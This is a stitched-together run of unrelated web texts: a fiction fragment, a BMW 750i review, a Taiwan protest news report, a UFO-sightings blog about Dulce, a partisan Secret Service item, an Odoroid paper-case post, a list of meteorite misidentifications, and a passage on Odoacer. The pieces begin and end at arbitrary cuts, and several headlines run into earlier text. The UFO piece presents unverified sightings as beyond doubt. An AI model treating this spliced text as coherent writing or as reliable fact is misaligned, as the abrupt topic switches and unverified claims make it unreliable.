myself to open my eyes as my heart pounds away in my chest. He doesn't say anything. It's just silence. It's hard to see from this angle, and I can't quite figure out that look on his face. Surprise? And then I feel his breath on my neck. He's sniffing at me. I wrench my eyes shut at the feeling. One bite and I'm dead. I'm the fish in a street taco at this point. I can't even move. Finally the longest few seconds of my life are over, and with a puff of air from his nose, he straightens up again. "I'm surprised," Al says, looking at me with an unreadable expression. I don't know what going through his mind -- but based on how calm he looks, it's not anger. "I was right about you, though. You really do have a fuckin' set of stones on you." "A-are we good...?" I bleat. He holds my gaze for a while, then folds his arms again, looking around the room slowly. Finally, he nods. "Yeah." Al looks back at me, making firm eye contact. "Yeah, we're good." A wave of relief crashes down on me like I've been thrown under a waterfall. I can feel my spine literally decompressing from how tense I've been. Even Al looks like he's taken a load off. Now's my chance. Thinking quickly, I reach my hoof out for the secret pawshake in the same way that Avo taught me -- something I've been doing on and off in my spare time over the last day or so, practicing it to get it right. I want him to know that I'm going to learn their culture -- it's not fair that they always have to meet me on my terms. If this'll help smooth relations, then I'm going for it. "Shake?" I ask, making sure my hoof is presented properly. Upright, palm towards the ceiling. And I gotta ask, make sure he wants it. "You wanna shake?" Al stops, squinting at me with a suddenly incredulous expression. "What the FUCK," he practically whispers. Sweat begins to trickle down my head as he studies me, like I'm trying to trick him. Oh, fuck. I did it wrong. That's gotta be it. Was it palm down? Hoof too high? Too low? I'm shorter than him-- do I need to stand on my hooftips so that he doesn't have to stoop to my height? Is it a sign of disrespect if I don't meet him at his height, or -- is this a, wait, no. No, no! Fuck, shit, FUCK! What did I screw up this time?! I was so close! Al stares at me with a look of unbridled incredulity and disgust, then tilts head and looks around the room in bewilderment like he's on a hidden |
year. “Our associates are a great source of pride and personal inspiration for me," he added.BMW 750i Review New Zealand
Austrian Psychotherapist Alfred W Alder was the founder of the school of Individual Psychology and focused on humans feelings of inferiority. Among his list of achievements and contributions to the medical world; he coined the phrases ‘Inferiority complex’ (a lack of self worth, self doubt or uncertainty) and ‘Superiority Complex’ a psychological defense mechanism in which an attitude of superiority and ‘showing off’ belies actual feelings of inferiority and failure – The latter being what I felt when I slipped in to the driver’s seat of the new BMW 7 series 750i.
This plus 5m in length; luxury near limousine style sedan is definitely a kerbside statement. It shouts out premium class driving and looks like it should be parked outside plus 5 star accommodations. It has a style that flows and yet a presence that looks stoic. For the first time BMW have (strategically) used carbon fibre throughout the 7’s body, making stronger and yet lighter – increased fuel economy and greater driving stability – I’m not so sure you need the ‘Carbon Core’ badge on the door strut to remind you though.
The Driver’s seat really is command central, the have virtually everything you need at your fingertips and with ‘Gesture control’ you hardly even need that. Gesture Control is basically an unnecessary feature that you can’t stop using. It can be set up for multiple uses but I’ll explain its use under the music section. With your arm resting on the centre console, a simple twirl of your index finger will increase or decrease the volume and a ‘V’ shaped stab will change the track – yes you can reach the controls on the wheel or the infotainment system but there is something intoxicating about doing it just by a gesture. Like I said, unnecessary but you’ll want to do it – A lot.
The cabin is refined and full of high gloss materials but it’s the little touches that made the difference to me. Leather backing to the gear paddles may not sound like much but believe me when I say you will notice it. Slip into the back seat Executive lounge and you immediately feel under-dressed (well I did anyway). You get the sense that you should be wearing a big brand named suit or something by an exclusive designer – rather than something from the Mall. Luxurious leather surrounds you and you are filled with the illusion (or in my case delusion) of power. You can control the front passenger seat (should you require more space or just want to be annoying), you have BMW’s touch command centre in the armrest – watch TV, adjust the temperature, mess with the infotainment all from your removable tablet. Or switch it all off and look up through the Panoramic glass roof and bask in the ambiance of its 15,000 light elements.
At night things come even more alive. The Bowers and Wilkins stereo pumps its beautifully warm sound through illuminated speakers (the tweeters near the side view mirrors have a flower effect) and down dark country lanes the cars Laser lights take full effect – 600 metres of near daylight (vs 300m for LED).
The 750i has a 4.4L twin turbo V8 that effortlessly delivers 332kW’s of power and over 650Nm of torque, it gets you to 100kph in under 5 seconds and gets you over that with barely a feather touch of the accelerator – and it does all of this with hardly a sound. There is no ferocity just a simple ‘you asked for power so here it is – fait accompli’ approach, it’s delicious.
A couple of months ago I spent some time giving it an enthusiastic drive through NZ’s Northland, so I am perfectly aware of what this big car is capable of, it is a lot of fun on the open road. But one thing I would say is that (with lane keep option on) it has an adversity to crossing over white lines and will fight you to stay where you are – make sure you indicate when overtaking.
The BMW 7 series is elegant and self assured, it is a confident driving machine that is more than capable of backing up all that it says on the packet. So when I say I got behind the wheel of BMW’s new 7 Series and the term ‘Superiority Complex’ sprung to mind – I was Not thinking about the car – I was of course referring to me!
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Authorities launch violent crackdown on demonstrators after Taipei refuses to shelve trade pact with China
Baton-wielding riot police cleared Taiwan's cabinet offices of scores of angry protesters opposed to a trade pact with China, escalating tensions over the island's rapidly developing ties with the communist mainland.
Authorities said they arrested 58 protesters and that 137 were injured, including 24 hospitalised. The crackdown came five days after mainly student demonstrators occupied the nearby legislature to protest the ruling party's decision to renege on a promised line-by-line review of the trade agreement.
Political protests in Taiwan are common but violent confrontations relatively rare, reflecting the high level of civil discourse resulting from the transition from one-party dictatorship to robust democracy in the mid-1990s.
The protests have been mostly peaceful, attracting tens of thousands of supporters to the government centre.
China's government has not commented on the protests, although an editorial in the official newspaper Global Times criticised the students' action.
"The Taiwanese students lack the courage and determination to commit to regional economic integration, fear losing out and change and only wish to defend the status quo," the editorial read, contrasting Taiwan's hesitation with South Korea's embrace of the Chinese economy.
On Sunday, the Taiwanese president, Ma Ying-jeou, rejected protesters' demands to shelve the trade pact, which would open dozens of service sector industries to Chinese investment. It was signed in June by representatives from Taipei and Beijing but awaits ratification by Taiwan's legislature.
Ma said rejecting the pact would undermine Taiwan's credibility and harm its economy, which has become increasingly tied to Chinese markets.
Student leaders insist tying Taiwan too closely to China would harm Taiwan's hard-won democratic freedoms and pave the way for China's eventual takeover of the island.
China and Taiwan split amid civil war in 1949 and Beijing has long sought to assert its control over the island, using military force if necessary.In 2007, I was so fortunate to get to know the Arden Tafoya (brother of Hollywood actor, Alan Tafoya) family who lives in the northwest area of the town. I had gotten to know Arden while I was attending the UFO symposium in Aztec that year. During my three days of stay in Dulce at that time, I obtained many new, fascinating sighting reports from many locals again, particularly from the family that I just mentioned and their relatives.
On my second day of stay in Dulce, this family invited me to their residence for a great meal. They had also invited their relatives who were willing to describe to me in detail many strange experiences they have had and even are having now.
It was assuring to know that the family that I befriended were immediate relatives of high officials of the Jicarilla Apache tribe.
Arden was one of the sons of the late Raleigh Tafoya, a highly respected, long-time Police Chief of Dulce (way before Hoyt Velarde, who later became the director of Public Safety and who detained us in 1990 when I brought a Japanese TV crew to Dulce). Arden’s wife was an immediate family of the head of the Jicarilla Apache tribal council at that time. His sister-in-law had been a Dulce Police dispatcher.
My friend’s wife told me of an incident whereby a huge, silent delta-shaped dark object emitting extremely bright lights slowly passed over a group of 50 to 75 people (all their relatives) on a mesa where they were celebrating a traditional Jicarilla Apache feast called the “coming out” feast, a celebration for young boys and girls (similar to the Spanish quinceanera celebration).
The huge object appeared after sundown, an hour or so after their traditional meals had ended and after the shamans had completed their chantings and dances.
They were simply stunned to see the huge triangular ‘craft’ hovering only about 200 feet or so above the campground.
The entire area lit up like daylight.
What was more amazing was that after a few minutes of hovering over the area, it suddenly took off with a tremendous gust of wind. Pots and pans were flying all over.
Some of the people were almost thrown off their vehicles. Fortunately, no one was injured, but panic spread.
The generators failed to re-start and all battery-operated appliances malfunctioned, including the car radios.
Another incident they recounted was a daytime sighting of a silver, saucer-shaped object at around 11 a.m., which hovered for 30 minutes right next to Hwy 537, not too far from the junction of U.S. 64, north of La Jara Lake.
One relative also recounted an unforgettable sighting of a huge, flying “triangle” near Hwy 537, near J-30 (Jicarilla Road, No. 30), with some type of a “cloaking device” that almost appeared to have a transparent body.
The object was described to have been close to half-a-mile in length (at least from their visual perception).
The biggest and most impressive sighting, however, took place in May of 2004 when several families were celebrating together the feast on a Jicarilla Apache campground, located at an area near J-33 and J-40, right near the Continental Divide.
Incredibly, it involved many brilliant objects in the night sky (not just one or two objects).
It literally filled up the entire sky, according to the testimony of the former Dulce police dispatcher.
There were close to 100 witnesses to this incredible incident.
They objects moved en masse slowly from one end of the sky to the other.
It was literally an “armada” of UFOs (which exactly reminded me of the famous, well-documented 1950 mass sightings of UFOs over Farmington, near the Four Corners area of New Mexico).
What was particularly fascinating about this sighting was that everyone also saw a small fleet of military helicopters which seemed to follow the objects.
Again, car radios went dead all through the sighting.
An interesting point is that many of the appearances of UFOs seem to coincide with various feasts taking place in the Jicarilla Apache reservation.
Were ‘they’ attracted to the Jicarilla feasts?
Last but not the least of the impressive Dulce sightings involved a Jicarilla Apache Forest Service ranger who witnessed a ‘craft’ of some kind enter the east side of the Archuleta Mesa through several large rocks that appeared to open (almost like a door) and in went the craft into the side of the mesa.
He excitedly reported this sighting live on his microphone while he was communicating on his radio with the Forest Service station across the south side of Dulce.
The ranger was stationed at the top of the Archuleta Mesa in the look-out building next to the radio communications tower.
This took place a few years after a big fire destroyed many of the trees on and around the mesa.
What is still strange about the aftermath of the fire, which they say (happened about 18 years ago), is the fact that all attempts for the re-forestation have so far failed on and around the Archuleta Mesa.
The trees just don’t seem to grow for some strange reason or other.
What is my conclusion to all these recent sightings in Dulce?
These were all first-hand eyewitnesses to the events.
Without doubt, I cannot help but believe that they all saw what they described to have seen. What it was that they actually saw is the question I cannot answer.
There is no other logical explanation.
Please also see two YouTube videos:
A flying saucer incident in Dulce, New Mexico in the late 1960s (testimony from Darren Vigil Gray, Santa Fe artist).
Curious object over Dulce, New Mexico, accidentally photographed by Dory Vigil (Dulce, New Mexico resident).
Reposted with permission from Norio Hayakawa’s Civilian Intelligence News Service. You can find the original post at noriohayakawa.wordpress.com.
Popular Posts:Secret Service Agent Who Said She Would Not Take Bullet for Trump Keeps Government Job
The far left Secret Service agent who publicly stated she would not take a bullet to save President Trump was suspended in February – with pay.
Senior Secret Service agent Kerry O’Grady posted on social media in recent months that she will not protect President Trump. O’Grady posted several screeds on Facebook the last seven months saying she would not take a bullet to save President Trump.
From the Washington Examiner:
A senior U.S. Secret Service agent posted Facebook condemnations of President Trump during the past seven months, including one in which she said she wouldn’t want to “take a bullet” for him. She explained herself saying she viewed his presidential candidacy as a “disaster” for the country, and especially for women and minorities. Now this…
Kerry O’Grady will not be fired – she will keep a government job. Remember the Secret Service agent who said she wouldn't take a bullet for Trump? She is not getting fired but has been removed from her post pic.twitter.com/sx6fmjdV6G — FOX & friends (@foxandfriends) March 20, 2017Odroid C2/C1+ Paper Case (for free)
rodrigo Blocked Unblock Follow Following Nov 26, 2016
Not a long ago, I bought a wonderful board called Odroid C2. Athough ithas neither half nor a third of the community of my already retired raspberry, it is a product of the highest quality and reliability. I decided to start installing all the things I needed to make it fully functional. When I had it all ready, there was only one thing missing … A case …
Since I do not have a 3D printer (for now) I decided to put my hands to work and make my own paper case.
This were the files with the measures
After some time searching the web for the measures of the board I quitted, and started downloading random 3D modeling files from other Odroid cases to take the measures of them. I thank the person that made the file above, because it was the only file where I could find some numbers to do the paper case.
After some hours in front of photoshop I was able to say that I had “A pretty decent case”. And here it is :
I know! It’s not a picasso … But It’s a cool case and you can put some stickers on it!!
I recommend you to print the pdf file on the thickest piece of card your printer can handle. Alternatively, print on a plain paper and glue that to a piece of thick card.
You can download the file here for free!!
Enjoy, if you have any improvement to do on the project just contact me or tell me something on the comments!
I hope you enjoyed my project!
See you around ;)# Reality Examples Caveats & Comments
0 Most rocks are not meteorites......so your rock is probably from Earth. Think of it this way: If you see it driving down the freeway and it has 4 wheels, 2 headlights, and a trunk, it's probably an automobile, not an alien spacecraft.
1 The chance of finding a meteorite is exceedingly small. see numbers for the U.S. Even experienced meteorite hunters can go for years between finds.
2 The chance of finding a lunar or martian meteorite is even smaller. Only about 1 in 1000 meteorites is from the Moon or Mars. I’ve been looking for one for 35 years and I haven’t found one.
3 The chance of finding a meteorite that has just fallen is even smaller. search The Meteoritical Society database Since 1900, the numbers of recognized meteorite "falls" is about 690 for the whole Earth. That's 6.3 per year. Only 98 of those occurred in the US. That's less than 1 per year. Even when a meteorite is observed to fall, experienced meteorite hunters may find only a few stones when hunting dawn to dusk for a week.
4 Not every rock that falls from the sky is a meteorite. stories
more stories In fact, most rocks that fall from the sky are not meteorites.
5 Not every rock that “looks like” a meteorite is a meteorite. rite & wrong
"looks like" It is often not possible to determine whether a rock is a meteorite just from its appearance. In particular, achondrites like meteorites from Moon and Mars look very much like some types of common Earth rocks. Also, many people have told me that their rock “looks just like” some meteorite in a photo they saw. Sorry. It doesn’t work that way. They don’t know what to look for.
6 Some meteorites don't look like meteorites. Kalahari 009 If someone had walked into my office with this rock, I'd have said that it wasn't a meteorite.
7 If it does not have a fusion crust, then it's probably not a meteorite. fusion crust
more photos Some meteorites do not have obvious fusion crusts, but that's rare. Usually there's fusion crust on at least one face.
8 If it has some kind of rind or coating, the rind or coating is probably not a fusion crust and the rock isn't a meteorite. rinds & coatings 1
rinds & coatings 2
rinds & coatings 3 There are numerous processes on Earth, such as chemical weathering, that cause rocks to have coatings and rinds. Some of these, particularly desert varnish, can look remarkably like a meteorite fusion crust.
9 If it's got a thick rind or coating, then it's not a meteorite. fusion crust
too thick 1
too thick 2
too thick 3 Fusion crusts are thin because as soon as the exterior of the meteorite melts, the liquid is sloughed off because of the high velocity of travel of the meteoroid through the atmosphere. Fusion crust doesn't build up, except perhaps on the trailing side.
10 If the inside is the same color and shade as the outside, then it's probably not a meteorite. fusion crust Fusion crusts are usually darker than the interior of a meteorite.
11 If it "looks burned," it's probably not a meteorite. burning meteor Meteorites don't burn. Meteorites are not burned. The outside has melted, but they haven't burned and they don't "look burned."
13A If it's big and it does not have regmaglypts, then it's probably not a meteorite. regmaglypts Not all meteorites have regmaglypts, however the big ones usually do.
13B If it has dimples or pits, they're not necessarily regmaglypts. not regmaglypts 1
not regmaglypts 2 Not all dimples are regmaglypts. The dimples in many of these photos are deeper for regmaglypts.
13C If it has "craters" on the surface, they're not craters and the rock is not a meteorite. asteroids Asteroids have craters, meteorite do not. The surface material ablates away as the meteorite comes through the atmosphere. See next.
14 If it's angular, with sharp edges or points and no smooth sides, then it's probably not a meteorite. angles and edges For small meteoroids, 90% of the mass is lost to ablation as it comes through the atmosphere. Edges, "corners," and any other protuberances are the first parts to ablate away. Put an ice cube in water and wait for 90% to melt. The "cube" that's left will have no edges or points. It's like that with meteorites.
16 If it's stony (not iron) and has protuberances, then it's probably not a meteorite. protuberances 1
protuberances 2
17A If it's square, rectangular, or has flat sides or parallel sides, then it's probably not a meteorite. flat 1 | flat 2
rectangular As above, flat sides and square corners are not consistent with an object that has come through the atmosphere.
17B If it's highly oblate (flat and thin), then it's not a meteorite. oblate Except for Frisbees and flying saucers, oblate objects are not all that aerodynamically stable and would be break apart during the descent through the atmosphere.
17C If it looks like a vegetable, it's not a meteorite. potato rock What more can I say.
18 If it has swirls, foliation, radiating features, or tubes, then it's not a meteorite. swirls | foliation | radiate 1 | radiate 2 Although there may be processes in space that can lead to such rocks, we haven't seen meteorites like this yet.
19 If it's got layers, laminations, or any kind of planar or parallel linear features, then it's definitely not a meteorite. layers 1 | layers 2 Layered rocks occur on Earth because the Earth has gravity. Most meteorites come from objects (asteroids) too small to have any appreciable gravity. If there is no gravity, then there is no way to form layers. Here is the only exception I know about, and it's a terrestrial weathering effect.
20 If it's got veins, particularly ones that stick out or appear to be planar, then it's not a meteorite. veins 1 | veins 2 Melt veins are seen in some meteorites, but they are never linear. Rarely, there might be veins of impact melt (see NWA 482 and Harper Dry Lake 036). Some meteorites have veins of metal. Most of the veins in these photos, however, are fractures that have filled with quartz. Quartz-filled fractures are common in Earth rocks but are not seen in meteorites.
21 If it's got fractures or filled fractures, then it's probably not a meteorite. fractures If a meteoroid is fractured, then it will break apart along the fractures as it passes through the atmosphere. Ordinary chondrites that have been on or in the Earth a long time, will self fracture as they metal rusts, but they will look rusty and not like the rocks in the photos. (See story and photo of the Lake House chondrite, for example.)
22A If it contains elongated minerals or clasts, then it's probably not a meteorite. needles It is rare for the aspect ratio of a clast or large mineral in a meteorite to exceed 3-to-1.
22B If it has clasts or minerals grains with square, rectangular, or parallelogram shapes, then it's probably not a meteorite. geometric Geometric shapes happen in terrestrial rocks, but the minerals that cause this are rare in meteorites.
23 If it's spherical or circular, then it's probably not a meteorite. spheres 1 | 2 | 3 | 4 |
5 | 6 | 7 | 8 There are processes on Earth that lead to spherical rocks (spheroidal weathering, tumbling and abrasion in water). These processes don't occur where most meteorites come from. Here is a photo of the only exception of which I'm aware: Canyon Diablo spherules
24A If it contains round things, the round things are not necessarily chondrules. round things 1
round things 2 Lots of Earth rocks contain round things.
24B If it looks like one of the breccias on my lunar meteorites site, it's not necessarily a meteorite or a Moon rock. breccias 1
breccias 2
breccias 3 There are a number of geologic processes on Earth that lead to rocks that resemble impact breccias. Most of the rocks in these images are pyroclastic (volcaniclastic) rocks.
25 If it's got lots of holes in it, then it's not a meteorite. vesicles & amygdules
more vesicles 1
more vesicles 2 Very few stony meteorites have vesicles or holes. In those that do, the holes are sparse and small. See "Vesicles in Meteorites." Vesicles require gas and that the rock was once molten. Most meteorites were never molten. Iron meteorites sometimes have holes, however.
27 If it contains lots of amygdules, then it's probably not a meteorite. vesicles & amygdules
more amygdules Some hot-desert meteorites have terrestrial material filling rare vesicles.
28 If rock or mineral grains stand out from the matrix or have been plucked out leaving a cavity, then it's probably not a meteorite. outies & innies In many terrestrial sedimentary rocks, the clasts are often harder than the matrix. Sometimes they pop out of the rock. That doesn't happen much in meteorites.
29 If it's long and thin, it's not a meteorite long-thin 1
long-thin 2
long-thin 3 A rock or piece of metal with a high aspect ratio (length-to-width) is not aerodynamically stable and would break apart in the atmosphere.
30 If it contains quartz, then it's not a meteorite. quartz Quartz is the only common mineral that will easily scratch glass. Try to scratch glass with a sharp edge of the rock. If it makes a deep scratch, it's not a meteorite.
31 If it consists of hematite or magnetite, then it's not a meteorite. concretions Iron-oxide nodules or concretions are the most common kind of meteorwrong sent to us. Highly weathered meteorites may contain some hematite, magnetite, and maghemite. Do a streak test.
33A If the rock does not rather strongly attract a cheap magnet, then it is probably not a meteorite. magnetic attraction
metal, iron, & nickel Don't use a rare-earth (neodymium) magnet to test for magnetic attraction. A meteorite will attract a cheap refrigerator (ceramic) magnet or compass.
33B If the rock attracts a cheap magnet but you cannot see shiny metal grains on a sawn or broken surface, then it's not a meteorite. Meteorites attract magnets because they contain iron-nickel metal. Earth rocks don't contain iron-nickel metal. Many Earth rocks are magnetic, however, because they contain the mineral magnetite.
33C If the rock contains shiny things that look like metal, but the rock does not attract a magnet, then the shiny things are probably not metal and the rocks is not a meteorite. Some sulfide and oxide minerals look like metal. Micas are often shiny.
33D If it looks like metal but does not strongly attract a cheap magnet, it’s not a meteorite. We’ve been sent chunks of silicon, ferromanganese, chromium, and other industrial metals.
33E If it does not attract a cheap magnet, then it could still be a meteorite, but it is probably not. Many of the rarest types of meteorites (achondrites) do not attract a magnet, but most Earth rocks also do not attract magnets.
34A If it is made of metal or looks metallic, then it might be a meteorite, but it's probably not. metal 1 | metal 2 Humans have been making and losing metal things for hundreds of years. Some minerals look metallic but are not.
34B If it looks metallic and is shiny on the outside, it is not a meteorite. shiny 1 | shiny 2
shiny 3 Some sulfide minerals look metallic and some non-ferrous metals are shiny.
35A If it is "heavy for its size," then it might be a meteorite, but it's probably not. density & specific gravity The commonest kind of meteorites, the ordinary chondrites, contain iron-nickel metal; that makes them denser than most Earth rocks. However, some Earth rocks are dense like meteorites. To confuse the issue, some rare meteorites (achondrites) have low densities like common Earth rocks.
35B If it's not heavy for it's size, then it might be meteorite, but it's probably not.
36 If it's reddish, particularly on the inside, then it's probably not a meteorite. too red
too colorful Most meteorites are shades of grays and browns; some may be reddish on the outside.
37 If it shows polygonal or columnar jointing, then it's not a meteorite. jointing Although jointing has been observed volcanic rocks on Mars, we haven't yet seen a meteorite with contraction fractures. Any meteorite would break along such fractures when the meteorite hits Earth's atmosphere.
39 If it's hollow, then it's not a meteorite. hollow1 | hollow2
hollow 3
40 If it does not look like other rocks in the vicinity, then it might be a meteorite, but it's probably not. unlike Glaciers and flooding have dropped a lot of unusual rocks far from where they came from.
41 If you found it on the beach, then it's not a meteorite. beach I am aware of only one meteorite, Southampton (pallasite), that was found on a beach. If a stony meteorite landed in the water and later washed up on a beach it would have lost its fusion crust as a result of abrasion by wave action. If it were an ordinary chondrite, it would likely have broken apart from rusting of the iron metal. If it survived as a rock, it would be all but impossible to identify as a meteorite just “by looking.” It would not look at all special, except maybe for some rusty spots. But, who knows? Nobody has ever found and recognized one!
42 If you found it in a stream bed, along a river, or any other place where there are lots of rocks, then it's probably not a meteorite. stream Successful meteorite hunters search for meteorites in places where there are not a lot of rocks. If you want to find your car easily, park it in an empty parking lot. There's one important exception: Some meteorites have been found in deserts that have desert pavement.
43 If you found it near a road or railroad track, then it's not a meteorite. railroad It may have fallen off a train or truck.
44A If the rock is "really hard," then it's probably not a meteorite. quartz Because meteorites don't contain quartz (the hardest common terrestrial mineral), they're not all that hard.
44B If it looks metallic and you can bend it or break it, then it’s not a meteorite. Iron meteorites don’t break, unless they’re badly rusted.
45 If it's in a conspicuous place, then it's not a meteorite. conspicuous 1
conspicuous 2
conspicuous 3 Unless it's in a museum
46 If you found a lot of them in one place, then they are not a meteorites. too many 1
too many 2
too many 3 Meteorites break apart in the atmosphere 10 miles or more above the Earth's surface. The fragments are spread out over miles (strewn field). The chances that 2 or more land in the same spot are very small.
47 If you found it in a crater, then it's not a meteorite. not a crater 1
not a crater 2 Meteorites hit the ground at terminal velocity, about 200-400 miles per hour. That's not fast enough to make a crater unless the rock is large (>meter size? I really don't know).
48A If you saw a meteor and then found a stone, then the stone is not a meteorite. meteor Read this.
48B If you found a rock, it might be a meteorite, but it is definitely not a meteor. Wikipedia: "A meteor or'shooting star' is the visible streak of light from a meteoroid or micrometeoroid, heated and glowing from entering the Earth's atmosphere, as it sheds glowing material in its wake."
49 If you found a rock that was hot to touch or appears to have been subjected to "extreme heat," then it's not a meteorite. hot rock 1
hot rock 2 Few meteorites have been collected immediately after they fell, and reports vary from "hot" to "cold." The physics of the process, however, lead scientists to favor "cold" to perhaps a bit warm for the smallest meteorites. Outer space is exceedingly cold. A meteoroid in space is very cold. It only takes seconds for a meteorite to pass through the atmosphere. Although the exterior gets hot enough to melt, the hot material immediately ablates away, so conduction of heat to the inside of the rock is inhibited. Also, rocks are not good conductors of heat. Meteorites don't start fires. The interior of a meteorites show no evidence of having been heated during the atmospheric entry process.
50 If it's been in your family for years, it's probably not a meteorite. Grandpa's old rock But then...
51 If your metal detector says the rock contains nickel, then it's lying. no metal detectors Metal detectors aren't that smart. They might be able to tell nickels from pennies, but they can't tell if iron metal contains enough nickel metal to be a meteorite.
52 If it's radioactive, then it's not a meteorite. radioactive Most meteorites are less radioactive than are most Earth rocks. Only the thorium-rich lunar meteorites like SaU 169 are slightly radioactive when tested with a Geiger counter.
53 If there's writing or a picture on it, then it's not a meteorite. picture
54 If it contains fossils, then it's not a meteorite. fossils
55 If it has a face, then it's not a meteorite. face Yes, this photo was sent to me by someone.
56 Many-to-most rocks sold over the Internet as meteorites really are meteorites; some are not. selling slag 1 There are many reputable meteorite dealers that sell real meteorites on the Internet. I have bought several meteorite specimens from such dealers. However, there are foolish or devious people who try to sell backyard rocks as meteorites. Most rocks offered on e-bay for prices >$10,000 are not really meteorites. Sometimes, cheap meteorwrongs are offered for sale, however.
selling slag 2 Since 2004 I have received thousands of e-mails and tens of thousands of photographs (really) from a disturbed man in Sweden who claims that the "rocks" in the photos are "ultra extreme amazing!!!" lunar meteorites. Here are a few of the photos. All the stuff in the photos is slag.
57 Advertisements for alleged meteorites that are filled with meaningless, pseudoscientific mumbo-jumbo and absurdly high prices are usually selling just rocks. caveat emptor Some people just don't have enough real work to do.
58 If you find a real meteorite, it isn't worth as much ($) as you think or wish. cheap There are several factors that affect the price of a meteorite: rarity of the type of meteorite, how big or small it is, intrinsic attractiveness, whether it's a fall or a find, and whether there is a good story to go with it.
59 Meteorological is not the same as meteoritical. meteorological Both words involve atmospheric phenomenon.
60 I have seen nearly every lunar meteorite but I have never found one myself. I like to look for rocks when I’m walking. So, why do you think that you found one?
61A Nobody can identify a meteorite over the telephone. Don't call me on the telephone. I won't answer. I don't hear well. I don't want to know your story. There is nothing you can tell me over the telephone that allows me to say "Your rock is a meteorite." I don't want to know the circumstances about how you obtained it. I want to see the rock, a photo of the rock, or a chemical analysis of the rock. The rock speaks for itself, and rocks don't speak on the telephone. E-mail me. Send photos. I might put your photo on this site.
61B I don't want you to bring your rock(s) to my office. Send me photos. There's no polite way to say this. Here's what happens. (It's happened many times.) You go to all the trouble of driving here, finding a place to park, and hauling your rock up to my 3rd floor office. I look at your rock and in 20 seconds I tell you that it's not a meteorite for one or more of the reasons I present here. Then you ask, "Well, what is it?" I say "I don't know" because I'm not a geologist. I'm just a retired geochemist who studies Moon rocks." You want to stay and chat. You're not going to change my opinion with any story you tell me. I need to get back to work.
62 I can't identify a meteorite from a photo......particularly if it was taken on a mobile phone. Some people, however, have sent me some really great photographs.
63 In English, there is only one way to spell meteorite. I have received e-mails with meteorite spelled many different ways: météorite, mateorite, mateorito, meadorite, meatioright, meator, meatorite, medeiorite, medeorite, mederite, mediroit, medorite, medrolite, meeorite, mentor, meorite, meoteorite, meotorite, mereorite, merteorite, met5eorite, mete, meteeor, meteirite, météo, meteoiarte, meteoite, meteorete, meteori, meteoric, meteorid, meteoride, meteorie, meteoriet, meteorilite, meteoriote, meteorit, météorite, meteorith, meteorito, meteoritote, meteoritre, meteoritt, meteoritte, meteoro, meteorolite, meteorprite, meteortie, meteoryt, meteotite, meteprite, meter, meteright, meteriod, meteriorite, meteriot, meteriote, meterite, metermortie, meteroide, meteroit, meteroite, meterorite, meterote, meteroyty, meterrite, metetro, meteurite, metheorite, metior, metiorit metiorite, metoerite, met |
Edeko (Edika). However, it is unclear whether this Edeko is identical to one—or both—men of the same name who lived at this time: one was an ambassador of Attila to the court in Constantinople, and escorted Priscus and other Imperial dignitaries back to Attila's camp; the other, according to Jordanes, is mentioned with Hunulfus as chieftains of the Scirii, who were soundly defeated by the Ostrogoths at the Battle of Bolia in Pannonia about 469.[7][8] Since Sebastian Tillemont in the 17th century, all three have been considered to be the same person. In his Getica, Jordanes describes Odoacer as king of the Turcilingi (Turc-ilingi or Torcilingorum rex).[9] However, in his Romana, the same author defines him as a member of the Rugii (Odoacer genere Rogus).[10] The Consularia Italica calls him king of the Heruli, while Theophanes appears to be guessing when he calls him a Goth.[11] The sixth-century chronicler, Marcellinus Comes, calls him "the king of the Goths" (Odoacer rex Gothorum).[12]
Reynolds and Lopez explored the possibility that Odoacer was not Germanic in their 1946 paper published by The American Historical Review, making several arguments that his ethnic background might lie elsewhere. One of these is that his name, "Odoacer", for which an etymology in Germanic languages had not been convincingly found, could be a form of the Turkish "Ot-toghar" ("grass-born" or "fire-born"), or the shorter form "Ot-ghar" ("herder").[13] Other sources believe the name Odoacer is derived from the Germanic Audawakrs, from aud- "wealth" and wakr- "vigilant".[14] This form finds a cognate in another Germanic language, the titular Eadwacer of the Old English poem Wulf and Eadwacer (where Old English renders the earlier Germanic sound au- as ea-).[15]
Odoacer's identity as a Hun was then accepted by a number of authorities, such as E. A. Thompson and J. M. Wallace-Hadrill—despite Otto J. Maenchen-Helfen's objection that personal names were not an infallible guide to ethnicity.[16] Subsequently, while reviewing the primary sources in 1983, Bruce Macbain proposed that while his mother might have been Scirian and his father Thuringian, in any case he was not a Hun.[17]
Before Italy [ edit ]
Possibly the earliest recorded incident involving Odoacer is from a fragment of a chronicle preserved in the Decem Libri Historiarum of Gregory of Tours. Two chapters of his work recount, in a confused or confusing manner, a number of battles fought by King Childeric I of the Franks, Aegidius, Count Paul, and one "Adovacrius" or "Odovacrius". If this is an account of Aegidius' victory over the Visigoths, otherwise known from the Chronicle of Hydatius, then this occurred in 463. Reynolds and Lopez, in their article mentioned above, suggested that this "Adovacrius" or "Odovacrius" may be the same person as the future king of Italy.[13] This suggestion has been accepted by some scholars; it appears to explain why Lewis Thorpe named this person "Odoacer" in his translation of Gregory's work.[18]
The first certain act recorded for Odoacer was shortly before he arrived in Italy. Eugippius, in his Life of Saint Severinus, records how a group of barbarians on their way to Italy had stopped to pay their respects to the holy man. Odoacer, at the time "a young man, of tall figure, clad in poor clothes", learned from Severinus that he would one day become famous. When Odoacer took his leave, Severinus made one final comment which proved prophetic: "Go to Italy, go, now covered with mean hides; soon you will make rich gifts to many."[19]
Leader of the foederati [ edit ]
By 470, Odoacer had become an officer in what remained of the Roman Army. Although Jordanes writes of Odoacer as invading Italy "as leader of the Sciri, the Heruli and allies of various races",[9] modern writers describe him as being part of the Roman military establishment, based on John of Antioch's statement that Odoacer was on the side of Ricimer at the beginning of his battle with the emperor Anthemius in 472.[20] Procopius goes as far as describing him as one of the Emperor's bodyguards.[21]
Romulus Augustus resigns the Crown (from a 19th-century illustration).
When Orestes was in 475 appointed Magister militum and patrician by the Western Roman Emperor Julius Nepos, he became head of the Germanic foederati of Italy (the Scirian—Herulic foederati). However, Orestes proved to be ambitious, and before the end of that year Orestes had driven Nepos from Italy. Orestes then proclaimed his young son Romulus the new emperor as Romulus Augustus, called "Augustulus" (31 October).[22] However, Nepos reorganized his court in Salona, Dalmatia and received homage and affirmation from the remaining fragments of the Western Empire beyond Italy and, most importantly, from Constantinople, which refused to accept Augustulus and branded him and his father as traitors and usurpers.
